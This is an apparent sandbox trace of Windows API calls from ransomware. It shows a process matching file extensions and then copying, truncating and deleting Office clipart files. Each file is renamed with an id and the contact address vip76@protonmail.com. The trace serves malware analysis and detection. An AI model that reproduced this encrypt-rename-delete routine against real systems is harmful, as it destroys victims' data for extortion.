	[0189.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0189.293] lstrlenW (lpString=".zip") returned 4
	[0189.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.293] lstrlenW (lpString=".rar") returned 4
	[0189.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.293] lstrlenW (lpString=".bz2") returned 4
	[0189.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.293] lstrlenW (lpString=".7z") returned 3
	[0189.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0189.293] lstrlenW (lpString=".dbf") returned 4
	[0189.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0189.293] lstrlenW (lpString=".1cd") returned 4
	[0189.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0189.293] lstrlenW (lpString=".jpg") returned 4
	[0189.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0189.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0189.293] lstrlenW (lpString=".doc") returned 4
	[0189.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.293] lstrlenW (lpString=".docx") returned 5
	[0189.294] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0189.294] lstrlenW (lpString=".pdf") returned 4
	[0189.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.294] lstrlenW (lpString=".xls") returned 4
	[0189.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.294] lstrlenW (lpString=".xlsx") returned 5
	[0189.294] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0189.294] lstrlenW (lpString=".ppt") returned 4
	[0189.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0189.294] lstrlenW (lpString=".zip") returned 4
	[0189.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.294] lstrlenW (lpString=".rar") returned 4
	[0189.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.294] lstrlenW (lpString=".bz2") returned 4
	[0189.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.294] lstrlenW (lpString=".7z") returned 3
	[0189.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0189.294] lstrlenW (lpString=".dbf") returned 4
	[0189.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0189.294] lstrlenW (lpString=".1cd") returned 4
	[0189.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0189.294] lstrlenW (lpString=".jpg") returned 4
	[0189.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.295] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0189.295] lstrlenW (lpString="J0102002.WMF") returned 12
	[0189.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0189.296] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=15988) returned 1
	[0189.296] CloseHandle (hObject=0x5e8) returned 1
	[0189.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220
	[0189.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0189.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0189.297] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.297] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0189.298] GetLastError () returned 0x0
	[0189.298] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x3e74, lpOverlapped=0x0) returned 1
	[0189.300] WriteFile (in: hFile=0x5c8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x3e80, lpOverlapped=0x0) returned 1
	[0189.301] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.301] WriteFile (in: hFile=0x5c8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0189.302] SetEndOfFile (hFile=0x5c8) returned 1
	[0189.302] CloseHandle (hObject=0x5c8) returned 1
	[0189.302] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.302] SetEndOfFile (hFile=0x5e8) returned 1
	[0189.305] CloseHandle (hObject=0x5e8) returned 1
	[0189.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1
	[0189.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0189.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0189.306] lstrlenW (lpString=".doc") returned 4
	[0189.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.306] lstrlenW (lpString=".docx") returned 5
	[0189.306] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0189.306] lstrlenW (lpString=".pdf") returned 4
	[0189.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.306] lstrlenW (lpString=".xls") returned 4
	[0189.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.307] lstrlenW (lpString=".xlsx") returned 5
	[0189.307] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0189.307] lstrlenW (lpString=".ppt") returned 4
	[0189.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0189.307] lstrlenW (lpString=".zip") returned 4
	[0189.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.307] lstrlenW (lpString=".rar") returned 4
	[0189.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.307] lstrlenW (lpString=".bz2") returned 4
	[0189.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.307] lstrlenW (lpString=".7z") returned 3
	[0189.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0189.307] lstrlenW (lpString=".dbf") returned 4
	[0189.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0189.307] lstrlenW (lpString=".1cd") returned 4
	[0189.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0189.307] lstrlenW (lpString=".jpg") returned 4
	[0189.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0189.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0189.307] lstrlenW (lpString=".doc") returned 4
	[0189.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.307] lstrlenW (lpString=".docx") returned 5
	[0189.308] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0189.308] lstrlenW (lpString=".pdf") returned 4
	[0189.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.308] lstrlenW (lpString=".xls") returned 4
	[0189.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.308] lstrlenW (lpString=".xlsx") returned 5
	[0189.308] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0189.308] lstrlenW (lpString=".ppt") returned 4
	[0189.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0189.308] lstrlenW (lpString=".zip") returned 4
	[0189.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.308] lstrlenW (lpString=".rar") returned 4
	[0189.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.308] lstrlenW (lpString=".bz2") returned 4
	[0189.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.308] lstrlenW (lpString=".7z") returned 3
	[0189.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0189.308] lstrlenW (lpString=".dbf") returned 4
	[0189.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0189.308] lstrlenW (lpString=".1cd") returned 4
	[0189.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0189.308] lstrlenW (lpString=".jpg") returned 4
	[0189.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.309] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0189.309] lstrlenW (lpString="J0102594.WMF") returned 12
	[0189.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0189.309] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=27000) returned 1
	[0189.309] CloseHandle (hObject=0x5e8) returned 1
	[0189.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220
	[0189.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0189.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0189.310] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.310] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0189.311] GetLastError () returned 0x0
	[0189.311] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x6978, lpOverlapped=0x0) returned 1
	[0189.314] WriteFile (in: hFile=0x5c8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x6980, lpOverlapped=0x0) returned 1
	[0189.316] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.316] WriteFile (in: hFile=0x5c8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0189.316] SetEndOfFile (hFile=0x5c8) returned 1
	[0189.316] CloseHandle (hObject=0x5c8) returned 1
	[0189.316] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.316] SetEndOfFile (hFile=0x5e8) returned 1
	[0189.474] CloseHandle (hObject=0x5e8) returned 1
	[0189.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1
	[0189.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0189.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0189.786] lstrlenW (lpString=".doc") returned 4
	[0189.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.786] lstrlenW (lpString=".docx") returned 5
	[0189.786] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0189.786] lstrlenW (lpString=".pdf") returned 4
	[0189.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.786] lstrlenW (lpString=".xls") returned 4
	[0189.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.786] lstrlenW (lpString=".xlsx") returned 5
	[0189.786] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0189.787] lstrlenW (lpString=".ppt") returned 4
	[0189.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0189.787] lstrlenW (lpString=".zip") returned 4
	[0189.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.787] lstrlenW (lpString=".rar") returned 4
	[0189.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.787] lstrlenW (lpString=".bz2") returned 4
	[0189.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.787] lstrlenW (lpString=".7z") returned 3
	[0189.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0189.787] lstrlenW (lpString=".dbf") returned 4
	[0189.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0189.787] lstrlenW (lpString=".1cd") returned 4
	[0189.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0189.787] lstrlenW (lpString=".jpg") returned 4
	[0189.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0189.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0189.787] lstrlenW (lpString=".doc") returned 4
	[0189.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.787] lstrlenW (lpString=".docx") returned 5
	[0189.788] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0189.788] lstrlenW (lpString=".pdf") returned 4
	[0189.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.788] lstrlenW (lpString=".xls") returned 4
	[0189.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.788] lstrlenW (lpString=".xlsx") returned 5
	[0189.788] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0189.788] lstrlenW (lpString=".ppt") returned 4
	[0189.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0189.788] lstrlenW (lpString=".zip") returned 4
	[0189.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.788] lstrlenW (lpString=".rar") returned 4
	[0189.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.788] lstrlenW (lpString=".bz2") returned 4
	[0189.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.788] lstrlenW (lpString=".7z") returned 3
	[0189.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0189.788] lstrlenW (lpString=".dbf") returned 4
	[0189.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0189.788] lstrlenW (lpString=".1cd") returned 4
	[0189.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0189.788] lstrlenW (lpString=".jpg") returned 4
	[0189.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.789] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0189.789] lstrlenW (lpString="J0103850.WMF") returned 12
	[0189.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.023] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=23596) returned 1
	[0190.023] CloseHandle (hObject=0x5ac) returned 1
	[0190.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220
	[0190.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.024] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.024] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0190.025] GetLastError () returned 0x0
	[0190.025] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x5c2c, lpOverlapped=0x0) returned 1
	[0190.028] WriteFile (in: hFile=0x5e0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x5c30, lpOverlapped=0x0) returned 1
	[0190.029] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.029] WriteFile (in: hFile=0x5e0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.029] SetEndOfFile (hFile=0x5e0) returned 1
	[0190.029] CloseHandle (hObject=0x5e0) returned 1
	[0190.030] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.030] SetEndOfFile (hFile=0x5ac) returned 1
	[0190.038] CloseHandle (hObject=0x5ac) returned 1
	[0190.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1
	[0190.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0190.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0190.039] lstrlenW (lpString=".doc") returned 4
	[0190.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.039] lstrlenW (lpString=".docx") returned 5
	[0190.039] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.040] lstrlenW (lpString=".pdf") returned 4
	[0190.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.040] lstrlenW (lpString=".xls") returned 4
	[0190.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.040] lstrlenW (lpString=".xlsx") returned 5
	[0190.040] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
